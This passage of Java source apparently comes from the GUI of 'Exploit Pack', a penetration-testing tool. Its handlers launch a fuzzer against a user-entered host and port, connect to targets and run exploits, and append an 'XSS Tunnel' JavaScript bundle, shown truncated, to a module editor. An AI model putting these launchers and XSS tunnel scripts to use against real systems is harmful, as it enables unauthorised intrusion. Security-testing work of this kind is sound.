                            runModule = "cmd.exe /c cd %temp% & cmd.exe /c start powershell.exe -NoExit /c  " + pythonpath + " " + Paths.get(".").toAbsolutePath().normalize().toString() + "/exploits/code/" + "Fuzzer.py " + selectedFuzzType + " " + jTextFieldFuzzHost.getText() + " " + jTextFieldFuzzPort.getText();
                        }
                        if (Switch.equals("Linux")) {
                            runModule = "xterm -T Fuzzer -geometry 200x80+0+900 -bg black -fg green -hold -e " + pythonpath + " " + Paths.get(".").toAbsolutePath().normalize().toString() + "/exploits/code/" + "Fuzzer.py " + selectedFuzzType + " " + jTextFieldFuzzHost.getText() + " " + jTextFieldFuzzPort.getText();
                        }
                        if (Switch.contains("Mac")) {
                            runModule = "/usr/bin/open -a Terminal " + pythonpath + " " + Paths.get(".").toAbsolutePath().normalize().toString() + "/exploits/code/" + "Fuzzer.py " + selectedFuzzType + " " + jTextFieldFuzzHost.getText() + " " + jTextFieldFuzzPort.getText();
                        }
                        Runtime.getRuntime().exec(runModule);
                        // Sleep before opening the log
                        Thread.sleep(1000);
                        if (Switch.contains("Windows")) {
                            readLog = "cmd.exe /c cd %temp% && powershell.exe /c Get-Content -Path \"$env:temp\\" + jTextFieldFuzzHost.getText() + ".log -Wait";
                        }
                        if (Switch.equals("Linux")) {
                            readLog = "tail -f " + jTextFieldFuzzHost.getText() + ".log";
                        }
                        if (Switch.contains("Mac")) {
                            readLog = "tail -f " + jTextFieldFuzzHost.getText() + ".log";
                        }
                        processFuzzer = Runtime.getRuntime().exec(readLog);
                        stdin = processFuzzer.getOutputStream();
                        stderr = processFuzzer.getErrorStream();
                        stdout = processFuzzer.getInputStream();

                        // "write" the parms into stdin
                        //stdin.write(line.getBytes());
                        stdin.flush();
                        stdin.close();

                        // Obtain local time
                        Format formatter;
                        Date date = new Date();
                        formatter = new SimpleDateFormat("HH:mm:ss");
                        LogTime = formatter.format(date);
                        jTextAreaFuzzerLog.append("[" + LogTime + "]" + " Your fuzzing session has been initiated.\n");
                        jTextAreaFuzzerLog.append("[" + LogTime + "]" + " Log saved as: \"" + jTextFieldFuzzHost.getText() + ".log\" \n");
                        // clean up if any output in stdout
                        BufferedReader brCleanUp
                                = new BufferedReader(new InputStreamReader(stdout));
                        while ((line = brCleanUp.readLine()) != null) {
                            jTextAreaFuzzerLog.append(line + "\n");
                            // System.out.println(jTextAreaFuzzerLog.getLineCount());
                            if (jTextAreaFuzzerLog.getLineCount() > 1800) {
                                jTextAreaFuzzerLog.setText("");
                            }
                        }
                        brCleanUp.close();

                        // clean up if any output in stderr
                        brCleanUp
                                = new BufferedReader(new InputStreamReader(stderr));
                        while ((line = brCleanUp.readLine()) != null) {
                            jTextAreaFuzzerLog.append(line + "\n");
                            //  jTextAreaFuzzerLog.setCaretPosition(jTextAreaFuzzerLog.getDocument().getLength());
                        }

                        brCleanUp.close();

                    } catch (Exception e) {
                        e.printStackTrace();
                    }
                }
            };
            jProgressBarModuleStatus.setValue(100);
            fuzzThread.start();

        } else if (this.jButtonFuzzer.getText().equals("Stop Fuzzer")) {
            processFuzzer.destroy();
            this.jButtonFuzzer.setForeground(Color.WHITE);
            this.jButtonFuzzer.setText("Start Fuzzer");

            if (fuzzThread != null) {
                fuzzThread.interrupt();
            }
        }
    }//GEN-LAST:event_jButtonFuzzerMouseClicked

    private void jButton15ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton15ActionPerformed
        // TODO add your handling code here:
        // TODO add your handling code here:
        File file = new File("exploits/code/" + exploit.getCodeName());

        try (FileWriter fileWriter = new FileWriter(file)) {
            fileWriter.write(jTextAreaTargets.getText());

        } catch (IOException e) {
            Logger.getLogger(MainFrame.class
                    .getName()).log(Level.SEVERE, null, e);
        }
    }//GEN-LAST:event_jButton15ActionPerformed

    private void jButton23ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton23ActionPerformed
        // TODO add your handling code here:
        if (!SplashScreen.filepath) {
            JOptionPane.showMessageDialog(null, "Sorry, this feature it's only available on the Premium version.\nGet your license now from: http://exploitpack.com", "Exploit Pack says:", JOptionPane.INFORMATION_MESSAGE);
            return;
        }
        AutoPwn.main(null);
    }//GEN-LAST:event_jButton23ActionPerformed

    private void jButton22ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton22ActionPerformed
        // TODO add your handling code here:
        // TODO add your handling code here:

        String name = jLabelTargetName.getText();
        File fileCode = new File("exploits/code/" + name + ".txt");
        if (fileCode.exists()) {
            fileCode.delete();
        } else {
            System.err.println(
                    "I cannot find '" + fileCode + "' ('" + fileCode.getAbsolutePath() + "')");
        }

        File fileXML = new File("exploits/" + name + ".xml");
        if (fileXML.exists()) {
            fileXML.delete();
        } else {
            System.err.println(
                    "I cannot find '" + fileXML + "' ('" + fileXML.getAbsolutePath() + "')");
        }
        jMenuItem12.doClick();
    }//GEN-LAST:event_jButton22ActionPerformed

    private void jButton24ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton24ActionPerformed
        if (!SplashScreen.filepath) {
            JOptionPane.showMessageDialog(null, "Sorry, this feature it's only available on the Premium version.\nGet your license now from: http://exploitpack.com", "Exploit Pack says:", JOptionPane.INFORMATION_MESSAGE);
            return;
        }
        NetworkMapper.main(null);
    }//GEN-LAST:event_jButton24ActionPerformed

    private void jButtonShell1ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButtonShell1ActionPerformed
        // TODO add your handling code here:
        jTextAreaShellcode.setText("");
    }//GEN-LAST:event_jButtonShell1ActionPerformed

    private void jTextFieldShellinputKeyPressed(java.awt.event.KeyEvent evt) {//GEN-FIRST:event_jTextFieldShellinputKeyPressed
        // TODO add your handling code here:
        if (evt.getKeyChar() == KeyEvent.VK_ENTER) {
            jButtonShell.doClick();
        }
    }//GEN-LAST:event_jTextFieldShellinputKeyPressed

    private void jTextFieldShellinputMouseClicked(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jTextFieldShellinputMouseClicked
        // TODO add your handling code here:
        jTextFieldShellinput.setText("");
    }//GEN-LAST:event_jTextFieldShellinputMouseClicked

    private void jButtonShellActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButtonShellActionPerformed
        //        final Thread gdbThread;
        //        gdbThread = new Thread("gdbThread") {
        //            @Override
        //            public void run() {
        //                try {
        //                    final Process p = new ProcessBuilder("/usr/bin/gdb").start();
        //
        //                    // Print errors
        //                    new Thread(() -> {
        //                        BufferedReader ir = new BufferedReader(new InputStreamReader(p.getErrorStream()));
        //                        String line = null;
        //                        try {
        //                            while ((line = ir.readLine()) != null) {
        //                                System.out.printf(line);
        //                            }
        //                        } catch (IOException e) {
        //                        }
        //                    }).start();
        //
        //                    // Print outpout
        //                    new Thread(() -> {
        //                        BufferedReader ir = new BufferedReader(new InputStreamReader(p.getInputStream()));
        //                        String line = null;
        //                        try {
        //                            while ((line = ir.readLine()) != null) {
        //                                System.out.printf("%s\n", line);
        //                                try {
        //                                    p.wait();
        //                                } catch (InterruptedException ex) {
        //                                    Logger.getLogger(MainFrame.class.getName()).log(Level.SEVERE, null, ex);
        //                                }
        //                            }
        //                        } catch (IOException ex) {
        //                            System.out.println(ex);
        //                        }
        //                    }).start();
        //
        //                    // Print exit
        //                    new Thread(() -> {
        //                        int exitCode = 0;
        //                        try {
        //                            exitCode = p.waitFor();
        //                        } catch (InterruptedException e) {
        //                            e.printStackTrace();
        //                        }
        //                        System.out.printf("Exited with code %d\n", exitCode);
        //                    }).start();
        //
        //                    // final Scanner sc = new Scanner(System.in);
        //                    final BufferedWriter bf = new BufferedWriter(new OutputStreamWriter(p.getOutputStream()));
        //                    final String newLine = System.getProperty("line.separator");
        //                    boolean cmdGDB = true;
        //                    while (true) {
        //                        if (cmdGDB) {
        //                            String c = jTextFieldShellinput.getText();
        //                            bf.write(c);
        //                            bf.newLine();
        //                            bf.flush();
        //                        }
        //                        cmdGDB = false;
        //                    }
        //
        //                } catch (Exception e) {
        //                    Logger.getLogger(MainFrame.class
        //                            .getName()).log(Level.SEVERE, null, e);
        //                }
        //            }
        //        };
        //        gdbThread.start();

        String Switch = jTextFieldShellinput.getText();
        if ((Switch.equals("connect") || (Switch.equals("c")) || (Switch
                .equals("y")))) {

            jTextAreaShellcode
                    .setText("Connecting to the target: \n"
                            + "IP:" + jTextFieldTargetH.getText() + "\n" + "PORT:" + jTextFieldshellPort.getText() + "\n");
            jTextAreaShellcode
                    .append("Please wait while I open a console for you..\n");
            Connect.main(null, jTextFieldTargetH.getText(), jTextFieldshellPort.getText());

            // Clean input
            jTextFieldShellinput.setText("");
        }
        if ((Switch.equals("doitnow"))) {
            Exploits exploit = new Exploits();
            exploit.run();
        }
        // Connect
        if ((Switch.equals("check") || (Switch.equals("chk")))) {
            jTextAreaShellcode
                    .setText("Checking shellcode connection"
                            + "\n");

        }

        // Help
        if ((Switch.equals("help") || (Switch.equals("h") || (Switch
                .equals("?"))))) {
            jTextAreaShellcode
                    .setText("Exploit Pack is an open source tool for security auditing, exploit writing,\n");
            jTextAreaShellcode
                    .append("development and penetration testing. \nFor more information visit: http://exploitpack.com\n");
            jTextAreaShellcode.append("Check out the official manual here: https://juansacco.gitbooks.io/exploitpack/content/\n");
            jTextAreaShellcode
                    .append("Get involved or join us, contact: support@exploitpack.com\n");

            jTextAreaShellcode.append("\n");
            jTextAreaShellcode.append("Example commands :\n");
            jTextAreaShellcode.append("------------------\n");
            jTextAreaShellcode.append("Help menu: ? or help\n");
            jTextAreaShellcode.append("Home: h or home\n");
            jTextAreaShellcode
                    .append("List sessions: ls or sessions\n");
            jTextAreaShellcode
                    .append("Connect to: c or connect\n");
            jTextAreaShellcode
                    .append("Exit Exploit Pack: quit or exit\n");
            jTextAreaShellcode
                    .append("Check shellcode: check or chk\n");
            jTextAreaShellcode
                    .append("Disconnect from: d or disconnect\n");
            jTextAreaShellcode.append("Version: v or version\n");
// Clean input
            jTextFieldShellinput.setText("");
            jTextAreaShellcode.setCaretPosition(0);
        }
// Help
        if ((Switch.equals("h") || (Switch.equals("home")))) {
            jTextAreaShellcode
                    .setText("Hello user. Welcome to Exploit Pack - http://exploitpack.com - Version: "
                            + "Latest stable"
                            + "\nWARNING: There is no warranty for this piece of software. \r\nprograms or scripts included with Exploit Pack are free software;\r\nUPDATES: Please try to keep Exploit Pack up to date\r\n\r\nTo start using this console: Type ? for help.");
            jTextAreaShellcode
                    .append("\n\n\"Moonlight drowns out all but the brightest stars.\" ― J.R.R. Tolkien");
            jTextAreaShellcode.append("\n");
            jTextAreaShellcode.setCaretPosition(0);
            // Clean input
            jTextFieldShellinput.setText("");
        }
        // Session list
        if ((Switch.equals("session") || (Switch.equals("s") || (Switch
                .equals("ls"))))) {
            jTextAreaShellcode.setText("Active sessions: 0\r\n");
            jTextAreaShellcode.append("Seems like you dont have any active session\nyou should hack something.. \n");
// Clean input
            jTextFieldShellinput.setText("");
            jTextAreaShellcode.setCaretPosition(0);
        }

// Session list
        if ((Switch.equals("exit") || (Switch.equals("quit")))) {
            System.exit(0);
        }

        // Version
        if ((Switch.equals("version") || (Switch.equals("v")))) {
            jTextAreaShellcode
                    .setText("Exploit Pack - Latest Stable\n");
            jTextAreaShellcode
                    .append("Author: Exploit Pack <support@exploitpack.com>\n");
            jTextAreaShellcode
                    .append("Platform: JAVA - x86_64-linux-gnu\n");
            jTextAreaShellcode
                    .append("Platform available: Win8 - x86-32 - OSX - GNU/Linux\n");
            jTextAreaShellcode.append("Version: "
                    + "Latest Stable"
                    + " - http://exploitpack.com" + "\n\n");
            jTextAreaShellcode
                    .append("\"It's the job that's never started the one that takes longest to finish.\"\n");

            // Clean input
            jTextFieldShellinput.setText("");
            jTextAreaShellcode.setCaretPosition(0);
        }

        // Disconnect
        if ((Switch.equals("disconnect") || (Switch.equals("d")) || (Switch
                .equals("n")))) {
            jTextAreaShellcode.setText("Closing connection from "
                    + jTextFieldTargetH.getText() + "\n");
            jTextAreaShellcode.append("Done.\n");
            // Clean input
            jTextFieldShellinput.setText("");
        }

        // Clean input
        jTextFieldShellinput.setText("");
    }//GEN-LAST:event_jButtonShellActionPerformed

    private void jButton18ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton18ActionPerformed
        try {
            System.out.println(SplashScreen.filepath);
            // XSS Tunnel
            if (exploit.getPlatform().equals("xss")) {
                jTextAreaModuleEditor.append("\n// Script appended successfully!\n");
                jTextAreaModuleEditor.append("!function(e,n){if(\"object\"==typeof exports&&\"object\"==typeof module)module.exports=n();else if(\"function\"==typeof define&&define.amd)define(n);else{var t=n();for(var a in t)(\"object\"==typeof exports?exports:e)[a]=t[a]}}(this,function(){return function(e){function n(a){if(t[a])return t[a].exports;var r=t[a]={exports:{},id:a,loaded:!1};return e[a].call(r.exports,r,r.exports,n),r.loaded=!0,r.exports}var t={};return n.m=e,n.c=t,n.p=\"http://localhost:8080/\",n(0)}([function(e,n,t){e.exports=t(6)},function(e,n,t){var a;a=function(e){\"use strict\";function n(e,n){for(var t in n)!function(t){e[t]=function(a){return arguments.length?(n[t]=a,e):n[t]}}(t)}return n}.call(n,t,n,e),!(void 0!==a&&(e.exports=a))},function(e,n,t){var a;!function(){function r(e,n){if(e||(e={}),!n)return e;for(var t in n)\"undefined\"==typeof e[t]&&(e[t]=n[t]);return e}function i(e,n){if(e)throw new RangeError(n)}var o=9007199254740992,s=-o,l=\"0123456789\",u=\"abcdefghijklmnopqrstuvwxyz\",c=u.toUpperCase(),m=l+\"abcdef\",h=function(e){void 0!==e&&(\"function\"==typeof e?this.random=e:this.seed=e),\"undefined\"==typeof this.random&&(this.mt=this.mersenne_twister(e),this.random=function(){return this.mt.random(this.seed)})};h.prototype.bool=function(e){return e=r(e,{likelihood:50}),i(e.likelihood<0||e.likelihood>100,\"Chance: Likelihood accepts values from 0 to 100.\"),100*this.random()<e.likelihood},h.prototype.character=function(e){e=r(e);var n,t,a=\"!@#$%^&*()[]\";return i(e.alpha&&e.symbols,\"Chance: Cannot specify both alpha and symbols.\"),n=\"lower\"===e.casing?u:\"upper\"===e.casing?c:u+c,t=e.pool?e.pool:e.alpha?n:e.symbols?a:n+l+a,t.charAt(this.natural({max:t.length-1}))},h.prototype.floating=function(e){var n;e=r(e,{fixed:4});var t=Math.pow(10,e.fixed);i(e.fixed&&e.precision,\"Chance: Cannot specify both fixed and precision.\");var a=o/t,s=-a;i(e.min&&e.fixed&&e.min<s,\"Chance: Min specified is out of range with fixed. Min should be, at least, \"+s),i(e.max&&e.fixed&&e.max>a,\"Chance: Max specified is out of range with fixed. Max should be, at most, \"+a),e=r(e,{min:s,max:a}),n=this.integer({min:e.min*t,max:e.max*t});var l=(n/t).toFixed(e.fixed);return parseFloat(l)},h.prototype.integer=function(e){var n,t;e=r(e,{min:s,max:o}),t=Math.max(Math.abs(e.min),Math.abs(e.max));do n=this.natural({max:t}),n=this.bool()?n:-1*n;while(n<e.min||n>e.max);return n},h.prototype.natural=function(e){return e=r(e,{min:0,max:o}),i(e.min>e.max,\"Chance: Min cannot be greater than Max.\"),Math.floor(this.random()*(e.max-e.min+1)+e.min)},h.prototype.normal=function(e){e=r(e,{mean:0,dev:1});var n,t,a,i,o=e.mean,s=e.dev;do t=2*this.random()-1,a=2*this.random()-1,n=t*t+a*a;while(n>=1);return i=t*Math.sqrt(-2*Math.log(n)/n),s*i+o},h.prototype.string=function(e){e=r(e);for(var n=e.length||this.natural({min:5,max:20}),t=\"\",a=e.pool,i=0;n>i;i++)t+=this.character({pool:a});return t},h.prototype.capitalize=function(e){return e.charAt(0).toUpperCase()+e.substr(1)},h.prototype.mixin=function(e){for(var n in e)h.prototype[n]=e[n];return this},h.prototype.pick=function(e,n){return n&&1!==n?this.shuffle(e).slice(0,n):e[this.natural({max:e.length-1})]},h.prototype.shuffle=function(e){for(var n=e.slice(0),t=[],a=0,r=Number(n.length),i=0;r>i;i++)a=this.natural({max:n.length-1}),t[i]=n[a],n.splice(a,1);return t},h.prototype.paragraph=function(e){e=r(e);for(var n=e.sentences||this.natural({min:3,max:7}),t=[],a=0;n>a;a++)t.push(this.sentence());return t.join(\" \")},h.prototype.sentence=function(e){e=r(e);for(var n,t=e.words||this.natural({min:12,max:18}),a=[],i=0;t>i;i++)a.push(this.word());return n=a.join(\" \"),n=this.capitalize(n)+\".\"},h.prototype.syllable=function(e){e=r(e);for(var n,t=e.length||this.natural({min:2,max:3}),a=\"bcdfghjklmnprstvwz\",i=\"aeiou\",o=a+i,s=\"\",l=0;t>l;l++)n=this.character(0===l?{pool:o}:-1===a.indexOf(n)?{pool:a}:{pool:i}),s+=n;return s},h.prototype.word=function(e){e=r(e),i(e.syllables&&e.length,\"Chance: Cannot specify both syllables AND length.\");var n=e.syllables||this.natural({min:1,max:3}),t=\"\";if(e.length){do t+=this.syllable();while(t.length<e.length);t=t.substring(0,e.length)}else for(var a=0;n>a;a++)t+=this.syllable();return t},h.prototype.age=function(e){e=r(e);var n;switch(e.type){case\"child\":n=this.natural({min:1,max:12});break;case\"teen\":n=this.natural({min:13,max:19});break;case\"adult\":n=this.natural({min:18,max:120});break;case\"senior\":n=this.natural({min:65,max:120});break;default:n=this.natural({min:1,max:120})}return n},h.prototype.birthday=function(e){return e=r(e,{year:(new Date).getFullYear()-this.age(e)}),this.date(e)};var d=[\"Sophia\",\"Emma\",\"Isabella\",\"Jacob\",\"Mason\",\"Ethan\",\"Noah\",\"Olivia\",\"William\",\"Liam\",\"Jayden\",\"Michael\",\"Ava\",\"Alexander\",\"Aiden\",\"Daniel\",\"Matthew\",\"Elijah\",\"Emily\",\"James\",\"Anthony\",\"Benjamin\",\"Abigail\",\"Joshua\",\"Andrew\",\"David\",\"Joseph\",\"Logan\",\"Jackson\",\"Mia\",\"Christopher\",\"Gabriel\",\"Madison\",\"Samuel\",\"Ryan\",\"Lucas\",\"John\",\"Nathan\",\"Isaac\",\"Dylan\",\"Caleb\",\"Elizabeth\",\"Chloe\",\"Christian\",\"Landon\",\"Jonathan\",\"Carter\",\"Ella\",\"Luke\",\"Owen\",\"Brayden\",\"Avery\",\"Gavin\",\"Wyatt\",\"Addison\",\"Isaiah\",\"Aubrey\",\"Henry\",\"Eli\",\"Hunter\",\"Lily\",\"Jack\",\"Natalie\",\"Evan\",\"Sofia\",\"Jordan\",\"Nicholas\",\"Tyler\",\"Aaron\",\"Charlotte\",\"Zoey\",\"Jeremiah\",\"Julian\",\"Cameron\",\"Grace\",\"Hannah\",\"Amelia\",\"Harper\",\"Levi\",\"Lillian\",\"Brandon\",\"Angel\",\"Austin\",\"Connor\",\"Adrian\",\"Robert\",\"Samantha\",\"Charles\",\"Evelyn\",\"Victoria\",\"Thomas\",\"Brooklyn\",\"Sebastian\",\"Zoe\",\"Colton\",\"Jaxon\",\"Layla\",\"Kevin\",\"Zachary\",\"Ayden\",\"Dominic\",\"Blake\",\"Jose\",\"Hailey\",\"Oliver\",\"Justin\",\"Bentley\",\"Leah\",\"Jason\",\"Chase\",\"Ian\",\"Kaylee\",\"Anna\",\"Aaliyah\",\"Gabriella\",\"Josiah\",\"Allison\",\"Parker\",\"Xavier\",\"Nevaeh\",\"Alexis\",\"Adam\",\"Audrey\",\"Cooper\",\"Savannah\",\"Sarah\",\"Alyssa\",\"Claire\",\"Taylor\",\"Riley\",\"Camila\",\"Nathaniel\",\"Arianna\",\"Ashley\",\"Grayson\",\"Jace\",\"Brianna\",\"Carson\",\"Sophie\",\"Peyton\",\"Nolan\",\"Tristan\",\"Luis\",\"Brody\",\"Bella\",\"Khloe\",\"Genesis\",\"Alexa\",\"Juan\",\"Hudson\",\"Serenity\",\"Kylie\",\"Aubree\",\"Scarlett\",\"Bryson\",\"Carlos\",\"Stella\",\"Maya\",\"Easton\",\"Katherine\",\"Julia\",\"Damian\",\"Alex\",\"Kayden\",\"Ryder\",\"Lucy\",\"Madelyn\",\"Jesus\",\"Cole\",\"Autumn\",\"Makayla\",\"Kayla\",\"Mackenzie\",\"Micah\",\"Vincent\",\"Max\",\"Lauren\",\"Jaxson\",\"Gianna\",\"Eric\",\"Ariana\",\"Asher\",\"Hayden\",\"Faith\",\"Alexandra\",\"Melanie\",\"Sydney\",\"Bailey\",\"Caroline\",\"Naomi\",\"Morgan\",\"Kennedy\",\"Ellie\",\"Jasmine\",\"Eva\",\"Skylar\",\"Diego\",\"Kimberly\",\"Violet\",\"Molly\",\"Miles\",\"Steven\",\"Aria\",\"Ivan\",\"Jocelyn\",\"Trinity\",\"Elias\",\"Aidan\",\"Maxwell\",\"London\",\"Bryce\",\"Lydia\",\"Madeline\",\"Antonio\",\"Giovanni\",\"Reagan\",\"Timothy\",\"Bryan\",\"Piper\",\"Andrea\",\"Santiago\",\"Annabelle\",\"Maria\",\"Colin\",\"Richard\",\"Braxton\",\"Kaleb\",\"Brooke\",\"Kyle\",\"Kaden\",\"Preston\",\"Payton\",\"Miguel\",\"Jonah\",\"Paisley\",\"Paige\",\"Lincoln\",\"Ruby\",\"Nora\",\"Riley\",\"Mariah\",\"Leo\",\"Victor\",\"Brady\",\"Jeremy\",\"Mateo\",\"Brian\",\"Jaden\",\"Ashton\",\"Patrick\",\"Rylee\",\"Declan\",\"Lilly\",\"Brielle\",\"Sean\",\"Joel\",\"Gael\",\"Sawyer\",\"Alejandro\",\"Jade\",\"Marcus\",\"Destiny\",\"Leonardo\",\"Jesse\",\"Caden\",\"Jake\",\"Kaiden\",\"Nicole\",\"Mila\",\"Wesley\",\"Kendall\",\"Liliana\",\"Camden\",\"Kaitlyn\",\"Natalia\",\"Sadie\",\"Edward\",\"Brantley\",\"Jordyn\",\"Roman\",\"Vanessa\",\"Mary\",\"Mya\",\"Penelope\",\"Isabelle\",\"Alice\",\"Axel\",\"Silas\",\"Jude\",\"Grant\",\"Reese\",\"Gabrielle\",\"Hadley\",\"Katelyn\",\"Angelina\",\"Rachel\",\"Isabel\",\"Eleanor\",\"Cayden\",\"Emmanuel\",\"George\",\"Clara\",\"Brooklynn\",\"Jessica\",\"Maddox\",\"Malachi\",\"Bradley\",\"Alan\",\"Weston\",\"Elena\",\"Gage\",\"Aliyah\",\"Vivian\",\"Laila\",\"Sara\",\"Amy\",\"Devin\",\"Eliana\",\"Greyson\",\"Lyla\",\"Juliana\",\"Kenneth\",\"Mark\",\"Oscar\",\"Tanner\",\"Rylan\",\"Valeria\",\"Adriana\",\"Nicolas\",\"Makenzie\",\"Harrison\",\"Elise\",\"Mckenzie\",\"Derek\",\"Quinn\",\"Delilah\",\"Peyton\",\"Ezra\",\"Cora\",\"Kylee\",\"Tucker\",\"Emmett\",\"Avery\",\"Cody\",\"Rebecca\",\"Gracie\",\"Izabella\",\"Calvin\",\"Andres\",\"Jorge\",\"Abel\",\"Paul\",\"Abraham\",\"Kai\",\"Josephine\",\"Alaina\",\"Michelle\",\"Jennifer\",\"Collin\",\"Theodore\",\"Ezekiel\",\"Eden\",\"Omar\",\"Jayce\",\"Valentina\",\"Conner\",\"Bennett\",\"Aurora\",\"Catherine\",\"Stephanie\",\"Trevor\",\"Valerie\",\"Eduardo\",\"Peter\",\"Maximus\",\"Jayla\",\"Jaiden\",\"Willow\",\"Jameson\",\"Seth\",\"Daisy\",\"Alana\",\"Melody\",\"Hazel\",\"Kingston\",\"Summer\",\"Melissa\",\"Javier\",\"Margaret\",\"Travis\",\"Kinsley\",\"Kinley\",\"Garrett\",\"Everett\",\"Ariel\",\"Lila\",\"Graham\",\"Giselle\",\"Ryleigh\",\"Xander\",\"Haley\",\"Julianna\",\"Ivy\",\"Alivia\",\"Cristian\",\"Brynn\",\"Damien\",\"Ryker\",\"Griffin\",\"Keira\",\"Daniela\",\"Aniyah\",\"Angela\",\"Kate\",\"Londyn\",\"Corbin\",\"Myles\",\"Hayden\",\"Harmony\",\"Adalyn\",\"Luca\",\"Zane\",\"Francisco\",\"Ricardo\",\"Alexis\",\"Stephen\",\"Zayden\",\"Megan\",\"Allie\",\"Gabriela\",\"Iker\",\"Drake\",\"Alayna\",\"Lukas\",\"Presley\",\"Charlie\",\"Spencer\",\"Zion\",\"Erick\",\"Jenna\",\"Josue\",\"Alexandria\",\"Ashlyn\",\"Adrianna\",\"Jada\",\"Jeffrey\",\"Trenton\",\"Fiona\",\"Chance\",\"Norah\",\"Paxton\",\"Elliot\",\"Emery\",\"Fernando\",\"Maci\",\"Miranda\",\"Keegan\",\"Landen\",\"Ximena\",\"Amaya\",\"Manuel\",\"Amir\",\"Shane\",\"Cecilia\",\"Raymond\",\"Andre\",\"Ana\",\"Shelby\",\"Katie\",\"Hope\",\"Callie\",\"Jordan\",\"Luna\",\"Leilani\",\"Eliza\",\"Mckenna\",\"Angel\",\"Genevieve\",\"Makenna\",\"Isla\",\"Lola\",\"Danielle\",\"Chelsea\",\"Leila\",\"Tessa\",\"Adelyn\",\"Camille\",\"Mikayla\",\"Adeline\",\"Adalynn\",\"Sienna\",\"Esther\",\"Jacqueline\",\"Emerson\",\"Arabella\",\"Maggie\",\"Athena\",\"Lucia\",\"Lexi\",\"Ayla\"];h.prototype.first=function(){return this.pick(d)},h.prototype.gender=function(){return this.pick([\"Male\",\"Female\"])};var p=[\"Smith\",\"Johnson\",\"Williams\",\"Jones\",\"Brown\",\"Davis\",\"Miller\",\"Wilson\",\"Moore\",\"Taylor\",\"Anderson\",\"Thomas\",\"Jackson\",\"White\",\"Harris\",\"Martin\",\"Thompson\",\"Garcia\",\"Martinez\",\"Robinson\",\"Clark\",\"Rodriguez\",\"Lewis\",\"Lee\",\"Walker\",\"Hall\",\"Allen\",\"Young\",\"Hernandez\",\"King\",\"Wright\",\"Lopez\",\"Hill\",\"Scott\",\"Green\",\"Adams\",\"Baker\",\"Gonzalez\",\"Nelson\",\"Carter\",\"Mitchell\",\"Perez\",\"Roberts\",\"Turner\",\"Phillips\",\"Campbell\",\"Parker\",\"Evans\",\"Edwards\",\"Collins\",\"Stewart\",\"Sanchez\",\"Morris\",\"Rogers\",\"Reed\",\"Cook\",\"Morgan\",\"Bell\",\"Murphy\",\"Bailey\",\"Rivera\",\"Cooper\",\"Richardson\",\"Cox\",\"Howard\",\"Ward\",\"Torres\",\"Peterson\",\"Gray\",\"Ramirez\",\"James\",\"Watson\",\"Brooks\",\"Kelly\",\"Sanders\",\"Price\",\"Bennett\",\"Wood\",\"Barnes\",\"Ross\",\"Henderson\",\"Coleman\",\"Jenkins\",\"Perry\",\"Powell\",\"Long\",\"Patterson\",\"Hughes\",\"Flores\",\"Washington\",\"Butler\",\"Simmons\",\"Foster\",\"Gonzales\",\"Bryant\",\"Alexander\",\"Russell\",\"Griffin\",\"Diaz\",\"Hayes\",\"Myers\",\"Ford\",\"Hamilton\",\"Graham\",\"Sullivan\",\"Wallace\",\"Woods\",\"Cole\",\"West\",\"Jordan\",\"Owens\",\"Reynolds\",\"Fisher\",\"Ellis\",\"Harrison\",\"Gibson\",\"McDonald\",\"Cruz\",\"Marshall\",\"Ortiz\",\"Gomez\",\"Murray\",\"Freeman\",\"Wells\",\"Webb\",\"Simpson\",\"Stevens\",\"Tucker\",\"Porter\",\"Hunter\",\"Hicks\",\"Crawford\",\"Henry\",\"Boyd\",\"Mason\",\"Morales\",\"Kennedy\",\"Warren\",\"Dixon\",\"Ramos\",\"Reyes\",\"Burns\",\"Gordon\",\"Shaw\",\"Holmes\",\"Rice\",\"Robertson\",\"Hunt\",\"Black\",\"Daniels\",\"Palmer\",\"Mills\",\"Nichols\",\"Grant\",\"Knight\",\"Ferguson\",\"Rose\",\"Stone\",\"Hawkins\",\"Dunn\",\"Perkins\",\"Hudson\",\"Spencer\",\"Gardner\",\"Stephens\",\"Payne\",\"Pierce\",\"Berry\",\"Matthews\",\"Arnold\",\"Wagner\",\"Willis\",\"Ray\",\"Watkins\",\"Olson\",\"Carroll\",\"Duncan\",\"Snyder\",\"Hart\",\"Cunningham\",\"Bradley\",\"Lane\",\"Andrews\",\"Ruiz\",\"Harper\",\"Fox\",\"Riley\",\"Armstrong\",\"Carpenter\",\"Weaver\",\"Greene\",\"Lawrence\",\"Elliott\",\"Chavez\",\"Sims\",\"Austin\",\"Peters\",\"Kelley\",\"Franklin\",\"Lawson\",\"Fields\",\"Gutierrez\",\"Ryan\",\"Schmidt\",\"Carr\",\"Vasquez\",\"Castillo\",\"Wheeler\",\"Chapman\",\"Oliver\",\"Montgomery\",\"Richards\",\"Williamson\",\"Johnston\",\"Banks\",\"Meyer\",\"Bishop\",\"McCoy\",\"Howell\",\"Alvarez\",\"Morrison\",\"Hansen\",\"Fernandez\",\"Garza\",\"Harvey\",\"Little\",\"Burton\",\"Stanley\",\"Nguyen\",\"George\",\"Jacobs\",\"Reid\",\"Kim\",\"Fuller\",\"Lynch\",\"Dean\",\"Gilbert\",\"Garrett\",\"Romero\",\"Welch\",\"Larson\",\"Frazier\",\"Burke\",\"Hanson\",\"Day\",\"Mendoza\",\"Moreno\",\"Bowman\",\"Medina\",\"Fowler\",\"Brewer\",\"Hoffman\",\"Carlson\",\"Silva\",\"Pearson\",\"Holland\",\"Douglas\",\"Fleming\",\"Jensen\",\"Vargas\",\"Byrd\",\"Davidson\",\"Hopkins\",\"May\",\"Terry\",\"Herrera\",\"Wade\",\"Soto\",\"Walters\",\"Curtis\",\"Neal\",\"Caldwell\",\"Lowe\",\"Jennings\",\"Barnett\",\"Graves\",\"Jimenez\",\"Horton\",\"Shelton\",\"Barrett\",\"Obrien\",\"Castro\",\"Sutton\",\"Gregory\",\"McKinney\",\"Lucas\",\"Miles\",\"Craig\",\"Rodriquez\",\"Chambers\",\"Holt\",\"Lambert\",\"Fletcher\",\"Watts\",\"Bates\",\"Hale\",\"Rhodes\",\"Pena\",\"Beck\",\"Newm